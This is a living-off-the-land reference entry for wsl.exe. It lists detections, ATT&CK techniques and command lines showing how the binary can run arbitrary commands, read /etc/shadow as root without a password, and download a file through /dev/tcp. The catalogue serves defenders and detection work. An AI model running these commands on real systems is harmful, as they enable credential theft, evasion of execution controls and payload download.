

/Wsl.exe

[Execute](#)[Download](#)

Windows subsystem for Linux executable

Paths:

C:\Windows\System32\wsl.exe

Resources:

- <https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules>
- https://twitter.com/nas_bench/status/1535431474429808642

Acknowledgements:

- Alex Ionescu ([@aionescu](#))
- Matt ([@NotoriousRebel1](#))
- Asif Matadar ([@d1r4c](#))
- Nasreddine Bencherchali ([@nas_bench](#))
- Konrad 'unrooted' Klawikowski

Detections:

- Sigma: https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_wsl_lolbin_execution.yml
- BlockRule: <https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules>
- IOC: Child process from wsl.exe

Execute

. Executes calc.exe from wsl.exe

```
wsl.exe -e /mnt/c/Windows/System32/calc.exe
```

Use case:	Performs execution of specified file, can be used to execute arbitrary Linux commands.
Privileges required:	User
Operating systems:	Windows 10, Windows Server 2019, Windows 11
ATT&CK® technique:	T1202

. Cats /etc/shadow file as root

```
wsl.exe -u root -e cat /etc/shadow
```

Use case: Performs execution of arbitrary Linux commands as root without need for password.
Privileges required: User
Operating systems: Windows 10, Windows Server 2019, Windows 11
ATT&CK® technique: T1202

. Executes Linux command (for example via bash) as the default user (unless stated otherwise using `-u <username>`) on the default WSL distro (unless stated otherwise using `-d <distro name>`)

```
wsl.exe --exec bash -c "<command>"
```

Use case: Performs execution of arbitrary Linux commands.
Privileges required: User
Operating systems: Windows 10, Windows Server 2019, Windows 11
ATT&CK® technique: T1202

Download

Downloads file from 192.168.1.10

```
wsl.exe --exec bash -c 'cat < /dev/tcp/192.168.1.10/54 > binary'
```

Use case: Download file
Privileges required: User
Operating systems: Windows 10, Windows Server 2019, Windows 11
ATT&CK® technique: T1105